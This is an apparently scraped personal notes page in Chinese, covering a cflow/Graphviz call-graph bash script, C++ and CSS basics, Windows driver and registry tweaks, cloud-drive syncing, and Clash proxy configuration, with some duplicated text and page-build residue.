+ ;;
+ f)
+ func=$OPTARG
+ ;;
+ d)
+ [ -n "$OPTARG" ] && [ -f "$OPTARG" -o -d "$OPTARG" ] && dir=$OPTARG
+ ;;
+ D)
+ depth=$OPTARG
+ ;;
+ o)
+ output=$OPTARG
+ [ ! -d "$output" ] && mkdir -p $output
+ OUT_DIR=$output
+ ;;
+ b)
+ BROWSER=$OPTARG
+ ;;
+ h|?)
+ usage $0;
+ exit 1;
+ ;;
+ esac
+done
+
+# Check the function and find out its file
+if [ -d "$dir" ]; then
+ match=\`grep " [a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*(.*)" -iur $dir | grep "\\.[ch]:"\`
+ file=\`echo "$match" | cut -d ':' -f1\`
+else
+ match="$dir"\`grep " [a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*(.*)" -iur $dir\`
+ file="$dir"
+fi
+[ $? -ne 0 ] && echo "Note: No such function found: $func" && exit 1
+echo "Func: $func"
+[ -z "$file" ] && echo "Note: No file found for $func" && exit 1
+
+# Let users choose the target files
+fileno=\`echo $file | tr -c -d ' ' | wc -c\`
+((fileno+=1))
+if [ $fileno -ne 0 ]; then
+ echo "Match: $fileno"
+ echo "File:"
+ echo " 0 All files under $dir"
+ echo "$match" | cat -n
+ files=($file)
+ read -p "Select: 0 ~ $fileno ? " file_in
+ if [ $file_in -ne 0 ]; then
+ while [ $file_in -lt 1 -o $file_in -gt $fileno ]; do
+ read -p "Select: 1 ~ $fileno ? " file_in
+ done
+ ((file_in-=1))
+ file=\${files[$file_in]}
+ ((file_in+=1))
+ fi
+else
+ file_in=1
+fi
+
+if [ $file_in -ne 0 ]; then
+ [ -z "$file" ] && echo "Note: No file found for $func" && exit 1
+ echo "File: $file"
+ func=\`echo "$match" | sed -n -e "\${file_in},\${file_in}p" | sed -n -e "s/.* \\([a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*\\)(.*).*/\\1/p"\`
+ [ -z "$func" ] && echo "Note: No such function found: $func" && exit 1
+else
+ file="\`find -L $dir -name '*.c' -or -name '*.h' | tr '\\n' ' '\`"
+fi
+
+# Genrate the calling tree of this function
+# Convert it to .dot format with tree2dotx
+# Convert it to jpg format with dot of Graphviz
+if [ $file_in -ne 0 ]; then
+ tmp=\`echo $file | tr '/' '_' | tr '.' '_'\`
+else
+ tmp="all"
+fi
+pic=\${func}.\${tmp}.\${PIC_TYPE}
+long_pic=\${OUT_DIR}/\${pic}
+
+which cflow >/dev/null 2>&1
+if [ $? -ne 0 ]; then
+ echo "Error: cflow doesn't exist, please install it..."
+ exit 1
+else
+ [ -n "$depth" ] && depth=" -d $depth "
+ calltree="cflow -b $depth -m "
+fi
+
+which dot >/dev/null 2>&1
+[ $? -ne 0 ] && "Error: dot doesn't exist, please install graphviz..."
+
+echo "Command: \${calltree}\${func} \${file} | \${tree2dotx} "\${filterstr}" 2>/dev/null | dot -T\${PIC_TYPE} -o $long_pic"
+\${calltree}\${func} \${file} | \${tree2dotx} -f "\${filterstr}" 2>/dev/null | dot -T\${PIC_TYPE} -o $long_pic
+
+# Tell users
+echo "Target: \${file}: \${func} -> \${long_pic}"
+
+# Display it
+which $BROWSER >/dev/null 2>&1
+[ $? -ne 0 ] && exit 0
+$BROWSER \${long_pic} >/dev/null 2>&1 &
+
callgraph
:
#!/bin/bash
+#
+# callgraph -- Generate a callgraph of a specified function in specified file/directory
+#
+# -- Based on cflow and tree2dotx
+#
+# Usage:
+#
+# $ callgraph
+#
+# -f func_name
+# -d directory|file
+# -F filterstr
+# -D depth
+# -o directory
+#
+#
+# Output: ../callgraph/func.dir_file_name.svg
+#
+
+# OS
+OS=$(uname)
+
+# Tree2Dot
+TOP_DIR=$(cd $(dirname $0) && pwd)/
+tree2dotx=\${TOP_DIR}/tree2dotx
+
+# Output directory
+OUT_DIR=\${TOP_DIR}/../callgraph
+[ ! -d $OUT_DIR ] && OUT_DIR=./
+PIC_TYPE=svg
+
+# Get browser
+if [ "x$OS" == "xDarwin" ]; then
+ BROWSER=/Applications/Safari.app/Contents/MacOS/Safari
+else
+ BROWSER=chromium-browser
+fi
+
+# Default setting
+
+# Input: Function Name [Directory Name]
+func=main
+dir=./
+
+# Default depth of the tree
+depth=
+
+# filterstr for tree2dotx
+filterstr=""
+
+# Usage
+
+function usage
+{
+ echo ""
+ echo " $0 "
+ echo ""
+ echo " -f func_name"
+ echo " -d directory|file"
+ echo " -F filterstr"
+ echo " -D depth"
+ echo " -o directory"
+ echo ""
+}
+
+while getopts "F:f:d:D:o:b:h" opt;
+do
+ case $opt in
+ F)
+ filterstr=$OPTARG
+ ;;
+ f)
+ func=$OPTARG
+ ;;
+ d)
+ [ -n "$OPTARG" ] && [ -f "$OPTARG" -o -d "$OPTARG" ] && dir=$OPTARG
+ ;;
+ D)
+ depth=$OPTARG
+ ;;
+ o)
+ output=$OPTARG
+ [ ! -d "$output" ] && mkdir -p $output
+ OUT_DIR=$output
+ ;;
+ b)
+ BROWSER=$OPTARG
+ ;;
+ h|?)
+ usage $0;
+ exit 1;
+ ;;
+ esac
+done
+
+# Check the function and find out its file
+if [ -d "$dir" ]; then
+ match=\`grep " [a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*(.*)" -iur $dir | grep "\\.[ch]:"\`
+ file=\`echo "$match" | cut -d ':' -f1\`
+else
+ match="$dir"\`grep " [a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*(.*)" -iur $dir\`
+ file="$dir"
+fi
+[ $? -ne 0 ] && echo "Note: No such function found: $func" && exit 1
+echo "Func: $func"
+[ -z "$file" ] && echo "Note: No file found for $func" && exit 1
+
+# Let users choose the target files
+fileno=\`echo $file | tr -c -d ' ' | wc -c\`
+((fileno+=1))
+if [ $fileno -ne 0 ]; then
+ echo "Match: $fileno"
+ echo "File:"
+ echo " 0 All files under $dir"
+ echo "$match" | cat -n
+ files=($file)
+ read -p "Select: 0 ~ $fileno ? " file_in
+ if [ $file_in -ne 0 ]; then
+ while [ $file_in -lt 1 -o $file_in -gt $fileno ]; do
+ read -p "Select: 1 ~ $fileno ? " file_in
+ done
+ ((file_in-=1))
+ file=\${files[$file_in]}
+ ((file_in+=1))
+ fi
+else
+ file_in=1
+fi
+
+if [ $file_in -ne 0 ]; then
+ [ -z "$file" ] && echo "Note: No file found for $func" && exit 1
+ echo "File: $file"
+ func=\`echo "$match" | sed -n -e "\${file_in},\${file_in}p" | sed -n -e "s/.* \\([a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*\\)(.*).*/\\1/p"\`
+ [ -z "$func" ] && echo "Note: No such function found: $func" && exit 1
+else
+ file="\`find -L $dir -name '*.c' -or -name '*.h' | tr '\\n' ' '\`"
+fi
+
+# Genrate the calling tree of this function
+# Convert it to .dot format with tree2dotx
+# Convert it to jpg format with dot of Graphviz
+if [ $file_in -ne 0 ]; then
+ tmp=\`echo $file | tr '/' '_' | tr '.' '_'\`
+else
+ tmp="all"
+fi
+pic=\${func}.\${tmp}.\${PIC_TYPE}
+long_pic=\${OUT_DIR}/\${pic}
+
+which cflow >/dev/null 2>&1
+if [ $? -ne 0 ]; then
+ echo "Error: cflow doesn't exist, please install it..."
+ exit 1
+else
+ [ -n "$depth" ] && depth=" -d $depth "
+ calltree="cflow -b $depth -m "
+fi
+
+which dot >/dev/null 2>&1
+[ $? -ne 0 ] && "Error: dot doesn't exist, please install graphviz..."
+
+echo "Command: \${calltree}\${func} \${file} | \${tree2dotx} "\${filterstr}" 2>/dev/null | dot -T\${PIC_TYPE} -o $long_pic"
+\${calltree}\${func} \${file} | \${tree2dotx} -f "\${filterstr}" 2>/dev/null | dot -T\${PIC_TYPE} -o $long_pic
+
+# Tell users
+echo "Target: \${file}: \${func} -> \${long_pic}"
+
+# Display it
+which $BROWSER >/dev/null 2>&1
+[ $? -ne 0 ] && exit 0
+$BROWSER \${long_pic} >/dev/null 2>&1 &
+
给所有用户这两个文件的可执行权限
chmod u+x tree2dotx
chmod u+x callgraph
安装 gawk
sudo apt-get install gawk
将需要分析的 cpp 文件放到上面那两个文件所在的目录下(以 main.cpp 含 main() 函数为例)
分析 main.cpp 文件中的 main 函数:
./callgraph -f main -d ./main.cpp
安装过程需要从国际互联网拉取更新
检索能力有限, 最终还是决定先用着 CppDepend, 它确实很对我胃口🤣
:
快捷赋值结构体名(形参): 成员变量1(形参1),成员变量2(形参2){};
#include <iostream>
+using namespace std;
+
+struct test_struct{
+ int a;
+ char b;
+ test_struct(int a=0, char b='b'): a(a), b(b){}
+};
+
+int main(){
+ test_struct tmp1;
+ test_struct tmp2(3,'a');
+ cout<<tmp1.a<<" "<<tmp1.b<<endl;
+ cout<<tmp2.a<<" "<<tmp2.b<<endl;
+ return 0;
+}
+
#include <iostream>
+using namespace std;
+
+struct test_struct{
+ int a;
+ char b;
+};
+
+int main(){
+ test_struct tmp3 = {4, 'd'};
+ cout<<tmp3.a<<" "<<tmp3.b<<endl;
+ return 0;
+}
+
#include <iostream>
+using namespace std;
+
+struct test_struct{
+ int a;
+ char b;
+ test_struct(int a, char b){
+ this->a = a;
+ this->b = b;
+ }
+};
+
+int main(){
+ test_struct tmp4(5,'a');
+ test_struct tmp5 = {6, 'e'};
+ cout<<tmp4.a<<" "<<tmp4.b<<endl;
+ cout<<tmp5.a<<" "<<tmp5.b<<endl;
+ return 0;
+}
+
#include <iostream>
+using namespace std;
+
+struct test_struct{
+ int a;
+ char b;
+ test_struct(int a, char b){
+ this->a = a;
+ this->b = b;
+ }
+}tmp6 = {7, 'k'};
+
+int main(){
+ cout<<tmp6.a<<" "<<tmp6.b<<endl;
+ return 0;
+}
+
定义于头文件 <cstring>
int strcmp( const char *lhs, const char *rhs );
以字典序比较二个空终止字节字符串。
结果的符号是被比较的字符串中首对不同字符(都转译成 unsigned char )的值间的差值符号。
若 lhs
或 rhs
不是指向空终止字节字符串的指针,则行为未定义。
lhs, rhs | - | 指向待比较的空终止字节字符串的指针 |
---|
若字典序中 lhs
先出现于 rhs
则为负值。
若 lhs
与 rhs
比较相等则为零。
若字典序中 lhs
后出现于 rhs
则为正值。
若当前字符串内容确实为整数, 那么可以通过 当前字符 - '0'
返回一个整数
#include <iostream>
+using namespace std;
+
+int main(){
+ cout<<'9'-'0'<<endl;
+ return 0;
+}
+
在头文件中使用外部定义变量时, 在相应源文件中务必在函数外先进行一次初始化, 如果依赖函数进行初始化的话那也要先初始化为空, 否则会引起连接器错误;
个人理解类似空的构造函数, 如果要先实例化对象后调用初始化函数进行初始化的话, 那么在实例化变量时会调用默认的(或者自定义的)空构造函数先进行一次"空初始化"
类似的在头文件外部定义的变量在源文件里要初始化, 如果要用函数初始化的话那么需要先进行一次"空初始化"
static 变量在头文件使用外部定义的时候 extern 与 static 冲突, 去掉 static 即可, 毕竟都头文件外部定义了, 该变量仅此一份不与对象绑定, 已经是个静态变量了
行尾使用 // 进行注释, 或者在当前行的上面一行使用 // 注释, 或者在当前行的上面一行或多行使用 /* */进行块注释
需要注意的是光标移到变量上会显示的注释是变量定义时的注释
也就是说如果在头文件中声明在源文件中定义的话, 那么光标移到变量上看到的注释是源文件中定义变量时给出的注释
C++ Primer Plus Chapter8.2
C++ 新增了一种复合类型 -- 引用变量; 引用是已定义的变量的别名;
C++ 为 &
符号赋予了除指示变量地址的另一个含义 ->
用于声明引用
// 例:
+int rats;
+int & rodents = rats; // makes rodents an alias for rats
+
overflow
overflow
属性规定当内容溢出元素框时发生的事情。
值 | 描述 |
---|---|
visible | 默认值。内容不会被修剪,会呈现在元素框之外。 |
hidden | 内容会被修剪,并且其余内容是不可见的。 |
scroll | 内容会被修剪,但是浏览器会显示滚动条以便查看其余的内容。 |
auto | 如果内容被修剪,则浏览器会显示滚动条以便查看其余的内容。 |
inherit | 规定应该从父元素继承 overflow 属性的值。 |
padding
设置 p 元素的 4 个内边距:
p
+ {
+ padding:2cm 4cm 3cm 4cm;
+ }
+
padding
简写属性在一个声明中设置所有内边距属性。
这个简写属性设置元素所有内边距的宽度,或者设置各边上内边距的宽度。行内非替换元素上设置的内边距不会影响行高计算;因此,如果一个元素既有内边距又有背景,从视觉上看可能会延伸到其他行,有可能还会与其他内容重叠。元素的背景会延伸穿过内边距。不允许指定负边距值。
例如:
padding:10px 5px 15px 20px;
+
值 | 描述 |
---|---|
auto | 浏览器计算内边距。 |
length | 规定以具体单位计的内边距值,比如像素、厘米等。默认值是 0px。 |
% | 规定基于父元素的宽度的百分比的内边距。 |
inherit | 规定应该从父元素继承内边距。 |
设置 p 元素的 4 个外边距:
p
+ {
+ margin:2cm 4cm 3cm 4cm;
+ }
+
margin
简写属性在一个声明中设置所有外边距属性。该属性可以有 1 到 4 个值。
这个简写属性设置一个元素所有外边距的宽度,或者设置各边上外边距的宽度。
块级元素的垂直相邻外边距会合并,而行内元素实际上不占上下外边距。行内元素的的左右外边距不会合并。同样地,浮动元素的外边距也不会合并。允许指定负的外边距值,不过使用时要小心。
值 | 描述 |
---|---|
auto | 浏览器计算外边距。 |
length | 规定以具体单位计的外边距值,比如像素、厘米等。默认值是 0px。 |
% | 以包含元素宽度的百分比指定外边距。 |
inherit | 规定应该从父元素继承外边距。 |
Flex
2009 年,W3C
提出了一种新的方案 ---- Flex
布局,可以简便、完整、响应式地实现各种页面布局。目前,它已经得到了所有浏览器的支持,这意味着,现在就能很安全地使用这项功能。
Flexbox
是 flexible box
的简称, 是 CSS3
引入的新的布局模式。它决定了元素如何在页面上排列,使它们能在不同的屏幕尺寸和设备下可预测地展现出来。
Flexbox
能够扩展和收缩 flex
容器内的元素, 以最大限度地填充可用空间; 与早期布局方式相比, Flexbox
是一种更为强大的布局方式. 其可以:
flex
属性是 flex-grow
, flex-shrink
和 flex-basis
的简写,默认值为0 1 auto。后两个属性可选
.item {
+ flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ]
+}
+
该属性有两个快捷值:auto (1 1 auto)
和 none (0 0 auto)
。
建议优先使用这个属性,而不是单独写三个分离的属性,因为浏览器会推算相关值。
LF
- 换行 - Unix/macOS(\\n)CR
回车 - Classic MacOS(\\r)CRLF
回车换行 - Windows(\\r\\n)CLion 编辑代码保存时会自动替换行尾为当前行尾序列。
在 Windows 下使用 CLion, 使用回车换行作为行尾可以正常编译运行代码
单独使用回车或换行作为行尾时会编译出错
小米路由器 DNS DHCP 后使用 EDGE 浏览器似乎经常显示 无法访问 Internet
, 具体原因不清楚
手动将 DNS 改为
首选:119.29.29.29
+备选:182.254.116.116
+
后新建页面后似乎可以恢复正常
上述 DNS 为 DNSPod的 Public DNS+, 是目前国内第一家支持ECS的公共DNS,是DNSPod推出的公共域名解析服务,可以为全网用户提供域名的公共递归解析服务
[大佬们,小爱音箱pro蓝牙电脑搜索不到【小爱同学吧】_百度贴吧 (baidu.com)](https://tieba.baidu.com/p/8487114265#:~:text=检查电脑的蓝牙设置,确保蓝牙开关已经打开,并且在“设备管理器”中查看是否已经启用了蓝牙设备。 3. 尝试在电脑端重新连接小爱音箱 Pro,可以尝试在蓝牙设备列表中选择小爱音箱,Pro,并输入配对码进行配对。 4. 尝试在手机上连接小爱音箱 Pro,然后尝试在电脑上连接同一个网络下的其他设备,以判断是否是音箱本身的问题。)
在小爱音箱APP中打开蓝牙自发现后手机都可以搜到小爱音箱的蓝牙, 唯独电脑怎么重启蓝牙都搜不到, 最后在贴吧看到一个老哥给出了正解, 将 Win 的蓝牙设备发现模式改为 高级
就能搜到小爱音箱Pro的蓝牙了
PMI 所有证书
缩写 | 名称 |
---|---|
PMP | 项目管理 |
PMI-ACP | 敏捷项目管理 |
PfMP | 项目组合管理 |
PgMP | 项目集管理 |
CAPM | 助理项目管理 |
PMI-RMP | 项目风险管理 |
PMI-SP | 进度管理 |
比较推荐的是: PMP(项目管理) 和 PMI-ACP(敏捷项目管理)
需要报培训班计学时才能考且有相关年龄限制(费用一般 2K ~ 7K 不等)
学历 | 年龄限制 |
---|---|
不限学历 | 年满 26 岁 |
有学士学位 | 年满 24 岁 |
有硕士及以上学位 | 不限年龄 |
想转管理岗可以考虑考个这个证书
不过证书有年限, 期间需要积累 PDU 并加钱才能续期
得加钱(
以火绒为例:
注意这里的 %path%
指的是下载文件的保存路径而非上面填写的火绒的路径
但是实际上下载后会调起火绒UI并查杀该文件, 用户手动关闭火绒UI(点右上角的X关闭按钮)后 FDM 上的 正在检测病毒
才会停止, 总体来说体验不是很流畅, 因此后面不打算配置了
不过也可以手动检测:
手动关闭火绒UI后
在 Edge 上安装 IDM 扩展
打开 IDM 安装目录
找到 IDMGCExt.crx
在 Edge 扩展中打开 开发人员模式
:
将 IDMGCExt.crx
拖动到 Edge 扩展界面即可安装扩展
C:\\Windows\\System32
文件夹aria2
下载命令Shift
右键点击空白处,选择在此打开命令行窗口(Powershell
)AC-baidu-重定向优化百度搜狗谷歌必应搜索
ppkao.com
+51xuexiaoyi.com
+jiandati.com
+cnitpm.com
+shangxueba.cn
+datiyi.cn
+ysxqzs.cn
+doc.xuehai.net
+imdza.org.cn
+shangxueba.com
+zyszedu.com
+ixueyi.com
+bvchati.cn
+kjfwxy.com
+yc-qx.cn
+hmyllh.com
+jsgncl.org.cn
+zhaokaoti.com
+http://www.zslangqiao.com/
+http://www.tfsenabo.com/
+zuixu.com
+educity.cn
+xcsdbzx.com
+nuchati.cn
+xmkqhs.com
+hzssc.org
+http://ask.mzhishi.com/
+nviv.cn
+30596.cn
+asklib.com
+
自己懒得搭了( 配合本地OneDriveBusiness当同步分享盘了
默认情况下 OneDrive 的同步目录根目录所在文件夹名称是 OneDrive - 组织名称
的形式, 中间是有两个空格的, 这可太不优雅了, 可以通过创建符号链接的形式来解决这个问题
管理员模式打开 CMD
执行如下指令:
# 创建符号链接 E:\\OneDriveE5\\Pro 指向 E:\\OneDriveE5\\mixon\\OneDrive - ayusummer
+mklink /J OneDriveE5\\mix "E:\\OneDriveE5\\mixon\\OneDrive - ayusummer"
+
OneDriveE5\\mix
目录在执行完命令后会自动创建云盘支持
Personal
: GoogleDrive, OneDrive
, Dropbox, Box, MEGA, PCloud, YandexDisk, Mail.ru.Cloud, GooglePhotos
基本都要挂代理,OneDrive看个人情况,我这边是无法直连的
Business
: Google Shared drives, OneDrive
, DropBox
, SharePoint
Enterprise
: AWS S3, Azure Storage, Google Cloud Storage, Naver Object Storage, Alibaba Object Storage
, Wasabi Object Storage, IBM Object Storage
NAS
: WebDAV
, SFTP
, FTP
, Nextcloud
, Synology(群晖)
, ASUSTOR(华硕)
, QNAP(威联通)
, ipTIME
效果:
可用于双向同步云盘和本地文件, 需要使用第三方 Webdav 客户端 Raidrive
首先需要在浏览器 cloudreve 页面的 WebDAV 选项卡添加账户, 并记住提示中的地址和登录名以及新建账号的密码
然后打开 Raidrive 配置下 WebDAV 挂载
然后就可以在文件资源管理器中看到了
ubuntu:
sudo snap install nextcloud
+
安装完成后访问 80 端口配置管理员账密即可使用
当有多张网卡时, 似乎默认情况下只允许了第一张网卡访问 web 页面, 可以手动到 /var/snap/nextcloud/current/nextcloud/config/config.php
配置 trusted_domains
以允许通过其他网卡访问web
'trusted_domains' =>
+ array (
+ 0 => '10.10.10.21',
+ 1 => '192.168.1.21',
+ ),
+
C:\\Users\\用户名\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions
mark 下上面每个不兼容驱动的 发布名称
管理员模式打开 powershell
, 可以先查看下驱动列表
pnputil /enum-drivers
+
筛下不兼容驱动的相关信息
发布名称: oem61.inf
+原始名称: ew_usbccgpfilter.inf
+提供程序名称: Huawei
+类名: USB
+类 GUID: {36fc9e60-c465-11cf-8056-444553540000}
+驱动程序版本: 05/18/2016 1.0.9.0
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
+发布名称: oem91.inf
+原始名称: hw_cdcacm.inf
+提供程序名称: HUAWEI Technologies CO.,LTD
+类名: Ports
+类 GUID: {4d36e978-e325-11ce-bfc1-08002be10318}
+驱动程序版本: 05/18/2016 1.0.26.0
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
+发布名称: oem62.inf
+原始名称: hw_quser.inf
+提供程序名称: Huawei Incorporated
+类名: Ports
+类 GUID: {4d36e978-e325-11ce-bfc1-08002be10318}
+驱动程序版本: 11/28/2016 2.0.6.725
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
+发布名称: oem34.inf
+原始名称: hw_usbdev.inf
+提供程序名称: Huawei Incorporated
+类名: Ports
+类 GUID: {4d36e978-e325-11ce-bfc1-08002be10318}
+驱动程序版本: 04/20/2012 1.3.0.0
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
+发布名称: oem116.inf
+原始名称: hw_cdcmdm.inf
+提供程序名称: HUAWEI Technologies Co.,LTD
+类名: Modem
+类 GUID: {4d36e96d-e325-11ce-bfc1-08002be10318}
+驱动程序版本: 11/28/2016 1.0.26.0
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
+发布名称: oem110.inf
+原始名称: hw_qumdm.inf
+提供程序名称: Huawei Incorporated
+类名: Modem
+类 GUID: {4d36e96d-e325-11ce-bfc1-08002be10318}
+驱动程序版本: 05/18/2016 2.0.6.725
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
执行如下命令删除相应驱动程序包
pnputil /delete-driver oem61.inf
+pnputil /delete-driver oem91.inf
+pnputil /delete-driver oem62.inf
+pnputil /delete-driver oem34.inf
+pnputil /delete-driver oem116.inf
+pnputil /delete-driver oem110.inf
+
重新扫描
这两个驱动实在找不到(, 驱动检测里没有, C:\\Windows\\System32\\DriverStore\\FileRepository
也没有
打开 C:\\Windows\\System32\\drivers
可以找到 TesMon.sys
删除 TesMon.sys
然后重新重新扫描
在 C:\\Windows\\System32
目录下, everything
检索结果中的另一个也出现在了其属性中的 "原始名称"字段中, 且检索资料时也有说这个文件导致崩崩崩游戏蓝屏之类, 所以将此文件剪切到其他目录再重新扫描试试, 后面如果有关于此文件的报错再将其放回去
配置主网防火墙入站规则
172.22.0.0/20
然后在 WSL2 里重新 ping 主网又能 ping 通了, DNS 也正常了, 可以 ping 同其他域名了
缺点在于计算机重启后 WSL2 主网地址可能会变(
需要再配下防火墙
挺秃然的, 没有完全搞清楚原理, 无法一劳永逸地解决这个问题
当设置了应用以管理员身份运行时, 在运行应用时会弹出一个用户账户控制的弹窗, 你要允许此应用对你的设备进行更改吗?
, 用户只有点击 是
之后才能正常运行应用, 对于一个已经设置了以管理员身份运行的应用要跳过此步的话可以做如下操作
打开注册表编辑器在 HKEY_CURRENT_USERS\\Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers
下新建值
RunAsInvoker
Windows 的任务栏和文件资源管理器(Explorer) 是一体的, 因此如果出现了任务栏莫名卡死或者消失的问题时可以在任务管理器中找到文件资源管理器并重启
有时候可能在任务管理器中没能找到文件资源管理器, 或者查找比较困难, 那么此时也可以使用命令行或者 powershell 来终止并启动 explorer
# 强制终止 explorer
+taskkill /IM explorer.exe /F
+# 启动 explorer
+explorer
+
Clash Version <= V0.19.8
存在 RCE 漏洞, 建议升级到 V0.19.10
及以上版本
Windows 端的配置比较方便, Linux 端主要需要注意普通用户和root用户的区别以及需要多配置一个 dashboard 来管理
下面主要记录下 ubuntu 上使用 clash 的随笔
需要注意的是, 使用不同的用户进行操作生成的配置文件会在对应用户的 .config
目录下, 如下记录的是使用 root 用户登录时进行的操作(SSH 链接的 ubuntu 设备, 习惯了 root; 相应的桌面端的话一般是普通用户)
在 /root/.config/
目录下新建一个 clash
目录
# 解压该 gz 包得到一个文件, 给该文件加上执行权限
+gunzip clash-linux-amd64-v1.13.0.gz
+chmod u+x clash-linux-amd64-v1.13.0
+
clone dashboard 仓库并切换到 gh-pages 分支:
git clone https://github.com/Dreamacro/clash-dashboard.git
+cd clash-dashboard
+git checkout -b gh-pages origin/gh-pages
+
尝试过使用镜像 clone, 但是在
git checkout -b gh-pages origin/gh-pages
这步会报错找不到origin/gh-pages
分支, 由于裸连能 clone 下来所以没再处理
下载配置信息
sudo wget -O config.yaml [订阅链接]
+sudo wget -O Country.mmdb https://www.sub-speeder.com/client-download/Country.mmdb
+
编辑 config.yaml
的如下三个属性, 分别对应页面端口, 访问密钥以及页面所在目录
external-controller: '0.0.0.0:9090'
+secret: 'xxxxxxx'
+external-ui: '/root/.config/clash/clash-dashboard'
+
尝试运行 clash
screen -S clash
+./clash-linux-amd64-v1.13.0
+
访问 [ip]:[port]/ui
输入密钥登入
到这里没问题的话就可以配置下系统代理了
有些程序不走系统代理,需要单独配置,比如 git, 需要单独进行配置
git config --global http.proxy "http://127.0.0.1:7890"
+
ValueError: check_hostname requires server_hostname
解决方案: 打开该项配置:
`,21),Hn={href:"https://github.com/python/cpython/pull/26307",target:"_blank",rel:"noopener noreferrer"},Rn=e("p",null,"开了之后就正常了:",-1),Xn=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307190000747.png",alt:"image-20230719000057721"})],-1),jn=e("hr",null,null,-1),Yn=e("hr",null,null,-1),Qn=e("h3",{id:"tun-mode",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#tun-mode","aria-hidden":"true"},"#"),n(" TUN Mode")],-1),Jn={href:"https://docs.cfw.lbyczf.com/contents/tun.html",target:"_blank",rel:"noopener noreferrer"},Kn={href:"https://clashdingyue.tk/2022/06/%E6%AD%A3%E7%A1%AE%E9%85%8D%E7%BD%AEClash-For-Windows/",target:"_blank",rel:"noopener noreferrer"},Zn={href:"https://blog.dejavu.moe/posts/cfw-tun/",target:"_blank",rel:"noopener noreferrer"},$n=e("p",null,"Clash 有三种代理模式",-1),ea=t("系统代理模式
Clash Tap Device模式
Clash Tap 虚拟网卡模式,让所有的流量走虚拟网卡,实现真正的全局翻墙模式,实现所有软件代理。
TAP 是 二层设备
,模拟一个物理以太网设备,操作第二层数据包如以太网数据帧
对于不遵循系统代理的软件,TUN 和 TAP 模式都可以接管系统流量并交由 CFW 处理,但是 TUN 模式在 Windows 下拥有比 TAP 模式更好的性能,
Clash TUN Mode模式
TUN 是 三层设备
,模拟一个网络层设备,操作 第三层 数据包比如 IP 数据包,TUN 虚拟网卡实现 IP 层隧道
Tun 模式通过新建一个 Tun 虚拟网卡接受操作系统的三层浏览流量,从而拓展 Clash 入口(inbound)转发能力,Tun 模式可以提升 Clash 处理 UDP 流量的能力,可以劫持任何三层流量,实现 DNS 劫持也是轻而易举,并且它与部分操作系统的网络栈结合也非常好,可以提升利用 iptables 等组件的能力
对于不遵循系统代理的软件,TUN 模式可以接管其流量并交由 CFW 处理,在 Windows 中,TUN 模式性能比 TAP 模式好
注意
: 近期大部分浏览器默认已经开启“安全 DNS”功能,此功能会影响 TUN 模式劫持 DNS 请求导致反推域名失败,请在浏览器设置中关闭此功能以保证 TUN 模式正常运行
点击General
中TUN Mode
右边开关启动 TUN 模式
相应的需要关闭 System Proxy
, 如果装了 Tap Server 也需要相应 uninstall
, 因为三种模式之间可能会冲突
如果使用
system
作为 TUN stack,需要同时在系统防火墙中将 clash core 放行,方法如下:在
0.19.27
及以上版本中,点击 Clash Core 版本号前的图标,并在 UAC 弹窗(若有)中允许运行,CFW 将自动配置对应的防火墙规则。成功配置防火墙规则后该图标作为指示灯亮起。
简单说,mixin是一种混合配置的方式,你可以把自己的配置注入到“配置文件”中,这样就可以在一定程度上的自定义配置了,比如加入一些你自己的规则之类的。
例如:在配置文件中统一添加dns
字段,操作如下:
进入 Settings 页面
滚动至 Profile Mixin 栏
点击 YAML 右边 Edit 小字打开编辑界面
在修改编辑界面内容为:
mixin: # 注意下面缩进
+ dns:
+ enable: true
+ listen: :53
+ nameserver:
+ - 8.8.8.8
+
点击编辑器右下角保存
在启动或切换配置时,上面内容将会替换到原有配置文件中进行覆盖
TIP
配置文件内容不会被修改,混合行为只会发生在内存中
可以通过任务栏图标菜单开关这个行为
可以自定义系统代理需要绕过的域名或 IP, 常用于配置局域网域名不使用代理或是其他指定的不想使用代理的域名(例如Steam游戏下载)
一般情况下后台基本都会挂着 Clash, 然而当需要登 Steam 下游戏时, 如果当前代理的配置中相应域名走了 Proxy 那就比较耗流量且较慢(毕竟 Steam 下载设置中是可以设置国内地区的)
此时则可以修改
bypass:
+# Steam中国大陆地区游戏下载
+ - "steampipe.steamcontent.tnkjmec.com" #华为云
+ - "st.dl.eccdnx.com" #白山云
+ - "st.dl.bscstorage.net"
+ - "st.dl.pinyuncloud.com"
+ - "dl.steam.clngaa.com" #金山云
+ - "cdn.mileweb.cs.steampowered.com.8686c.com" #网宿云
+ - "cdn-ws.content.steamchina.com"
+ - "cdn-qc.content.steamchina.com" #腾讯云
+ - "cdn-ali.content.steamchina.com" #阿里云
+# Steam非中国大陆地区游戏下载/社区实况直播
+ - "*.steamcontent.com"
+# Steam国际创意工坊下载CDN
+ - "steamusercontent-a.akamaihd.net" #CDN-Akamai
+# Origin游戏下载
+ - "ssl-lvlt.cdn.ea.com" #CDN-Level3
+ - "origin-a.akamaihd.net" #CDN-Akamai
+# Battle.net战网中国大陆地区游戏下载
+ - "client05.pdl.wow.battlenet.com.cn" #华为云
+ - "client02.pdl.wow.battlenet.com.cn" #网宿云
+# Battle.net战网非中国大陆地区游戏下载
+ - "level3.blizzard.com" #CDN-Level3
+ - "blzddist1-a.akamaihd.net" #CDN-Akamai
+ - "blzddistkr1-a.akamaihd.net"
+ - "kr.cdn.blizzard.com" #CDN-Blizzard
+ - "us.cdn.blizzard.com"
+ - "eu.cdn.blizzard.com"
+# Epic Games中国大陆地区游戏下载
+ - "epicgames-download1-1251447533.file.myqcloud.com"
+# Epic Games非中国大陆地区游戏下载
+ - "epicgames-download1.akamaized.net" #CDN-Akamai
+ - "download.epicgames.com" #CDN-Amazon
